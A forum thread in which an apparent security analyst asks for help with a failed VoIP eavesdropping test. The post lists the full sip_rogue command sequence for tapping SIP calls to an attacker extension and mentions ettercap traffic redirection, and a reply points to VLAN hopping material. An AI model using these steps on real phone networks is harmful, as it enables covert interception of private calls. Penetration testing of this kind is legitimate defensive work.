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voip testing need help unable to intercept calls?

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I need help I work as sec analyst for a notable company in my country. I'm currently in the activity of assessing VOIP setup. I'm using Application-Level Interception Techniques to test the setup weakness. The tool i'm using to conduct interception level attack is sip_rogue. Sip_rogue is included in bt4. The attack allows you as attacker to listen the conversation occurring between sip phones. The commands are :-


telnet localhost 6060

Connection 0

create sipudpport port

create sipdispatcher disp

create sipregistrarconnector reg to with the domain

create rtphandler rtp

create sipendpoint hacker

issue hacker accept calls

issue hacker relay calls to sip:3500@

issue hacker tap calls to sip:4000@ (the attacker)

In the original attack mentioned in hacking exposed VOIP: voice over IP security secret and solution. The victim and the attacker in on the same vlan as proxy server but in my case its different VLAN. As i pick the fone (ext 4000) to listen on the conversation i just get the dial tone. I'm using ettercap to direct the traffic from the victim ip phone to bt4 machine running sip_rogue application.

I hope i can be helped with. Thanks


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The VoIP Hacking Exposed book does have some good references in it, but I find parts of it out of date; well the copy I have is anyway.

I find the BT VoIP wiki to be a better resource. This particular resource is still a little out of date, but will give you a good head start; and make sure to take a good look at the VLAN hopping section.

I have been working on some demos with VoIP and security testing a network which has it, and been up all night setting up my VM to give an talk at a local security group this Monday. Now it has been a little over 2 years since I have really done anything with VoIP (since I became a sophomore in university) and am amazed at how far VoIP security testing has came. I will write a how to when I can (been falling behind in school because of work), but that link should give you a head start in the right direction.

Hope that helps and good luck on your report.


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